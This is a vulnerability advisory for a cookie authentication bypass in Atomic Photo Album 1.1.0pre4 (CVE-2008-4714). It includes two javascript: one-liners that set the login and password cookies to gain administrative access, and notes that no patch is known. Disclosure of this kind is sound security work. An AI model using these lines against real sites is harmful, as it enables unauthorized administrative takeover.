Atomic Photo Album Cookie Authentication Bypass Vulnerability

Bugtraq ID:	31427
Class:	Access Validation Error
CVE:	CVE-2008-4714
Remote:	Yes
Local:	No
Published:	Sep 26 2008 12:00AM
Updated:	May 07 2015 05:23PM
Credit:	Stack
Vulnerable:	Atomic Photo Album Atomic Photo Album 1.1.0pre4
Not Vulnerable:

Atomic Photo Album Cookie Authentication Bypass Vulnerability

Atomic Photo Album is prone to an authentication-bypass vulnerability because it fails to adequately verify user-supplied input used for cookie-based authentication.

An attacker can exploit this vulnerability to gain administrative access to the affected application; other attacks are also possible.

Atomic Photo Album 1.1.0pre4 is affected; other versions may also be vulnerable.

Atomic Photo Album Cookie Authentication Bypass Vulnerability

Attackers may exploit this issue through a browser.

The following example code is available:

javascript:document.cookie = "apa_cookie_login=foo; path=/;";
javascript:document.cookie = "apa_cookie_password=bar; path=/;";

Atomic Photo Album Cookie Authentication Bypass Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Atomic Photo Album Cookie Authentication Bypass Vulnerability

References:

• Atomic Photo Album Project Page (SourceForge)